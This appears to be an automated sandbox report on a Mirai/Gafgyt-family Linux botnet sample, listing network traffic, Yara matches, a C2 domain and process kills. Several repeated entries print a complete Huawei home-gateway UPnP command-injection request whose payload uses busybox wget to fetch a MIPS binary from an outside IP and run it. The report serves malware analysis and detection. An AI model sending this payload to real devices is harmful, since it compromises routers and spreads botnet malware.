Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Sample listens on a socket

Source: /tmp/na.elf (PID: 5438)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 83.145.247.100
Source: unknown	TCP traffic detected without corresponding DNS query: 194.231.105.214
Source: unknown	TCP traffic detected without corresponding DNS query: 136.188.196.15
Source: unknown	TCP traffic detected without corresponding DNS query: 37.91.249.100
Source: unknown	TCP traffic detected without corresponding DNS query: 142.64.63.202
Source: unknown	TCP traffic detected without corresponding DNS query: 206.25.184.172
Source: unknown	TCP traffic detected without corresponding DNS query: 157.146.3.96
Source: unknown	TCP traffic detected without corresponding DNS query: 46.221.29.10
Source: unknown	TCP traffic detected without corresponding DNS query: 117.69.112.41
Source: unknown	TCP traffic detected without corresponding DNS query: 192.158.224.182
Source: unknown	TCP traffic detected without corresponding DNS query: 206.172.111.124
Source: unknown	TCP traffic detected without corresponding DNS query: 57.124.180.86
Source: unknown	TCP traffic detected without corresponding DNS query: 32.70.96.45
Source: unknown	TCP traffic detected without corresponding DNS query: 198.138.136.176
Source: unknown	TCP traffic detected without corresponding DNS query: 194.122.161.223
Source: unknown	TCP traffic detected without corresponding DNS query: 58.83.32.106
Source: unknown	TCP traffic detected without corresponding DNS query: 83.238.217.151
Source: unknown	TCP traffic detected without corresponding DNS query: 116.70.199.91
Source: unknown	TCP traffic detected without corresponding DNS query: 40.41.202.172
Source: unknown	TCP traffic detected without corresponding DNS query: 79.90.37.163
Source: unknown	TCP traffic detected without corresponding DNS query: 158.194.40.31
Source: unknown	TCP traffic detected without corresponding DNS query: 190.146.54.106
Source: unknown	TCP traffic detected without corresponding DNS query: 65.108.214.120
Source: unknown	TCP traffic detected without corresponding DNS query: 195.251.148.72
Source: unknown	TCP traffic detected without corresponding DNS query: 58.186.80.110
Source: unknown	TCP traffic detected without corresponding DNS query: 197.17.80.21
Source: unknown	TCP traffic detected without corresponding DNS query: 153.113.194.244
Source: unknown	TCP traffic detected without corresponding DNS query: 184.163.244.139
Source: unknown	TCP traffic detected without corresponding DNS query: 183.215.56.250
Source: unknown	TCP traffic detected without corresponding DNS query: 131.252.160.138
Source: unknown	TCP traffic detected without corresponding DNS query: 109.25.24.121
Source: unknown	TCP traffic detected without corresponding DNS query: 150.150.252.174
Source: unknown	TCP traffic detected without corresponding DNS query: 140.171.143.190
Source: unknown	TCP traffic detected without corresponding DNS query: 166.111.133.168
Source: unknown	TCP traffic detected without corresponding DNS query: 123.142.176.97
Source: unknown	TCP traffic detected without corresponding DNS query: 145.152.132.164
Source: unknown	TCP traffic detected without corresponding DNS query: 134.141.136.59
Source: unknown	TCP traffic detected without corresponding DNS query: 166.49.250.222
Source: unknown	TCP traffic detected without corresponding DNS query: 220.157.230.196
Source: unknown	TCP traffic detected without corresponding DNS query: 188.151.30.154
Source: unknown	TCP traffic detected without corresponding DNS query: 48.189.56.233
Source: unknown	TCP traffic detected without corresponding DNS query: 151.36.200.152
Source: unknown	TCP traffic detected without corresponding DNS query: 119.154.220.64
Source: unknown	TCP traffic detected without corresponding DNS query: 5.203.28.16
Source: unknown	TCP traffic detected without corresponding DNS query: 119.67.246.211
Source: unknown	TCP traffic detected without corresponding DNS query: 107.23.130.225
Source: unknown	TCP traffic detected without corresponding DNS query: 223.239.245.248
Source: unknown	TCP traffic detected without corresponding DNS query: 9.81.63.61
Source: unknown	TCP traffic detected without corresponding DNS query: 71.99.73.207
Source: unknown	TCP traffic detected without corresponding DNS query: 186.247.52.141

Source: global traffic

DNS traffic detected: DNS query: plutoc2.site

Source: unknown

Source: na.elf	String found in binary or memory: http://92.249.48.84/bin
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: na.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46483
Source: unknown	Network traffic detected: HTTP traffic on port 46483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42898
Source: unknown	Network traffic detected: HTTP traffic on port 42898 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: na.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: na.elf, type: SAMPLE	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF malware Mirai related Author: Florian Roth
Source: Process Memory Space: na.elf PID: 5438, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5442, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5444, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5445, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5448, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: na.elf PID: 5449, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
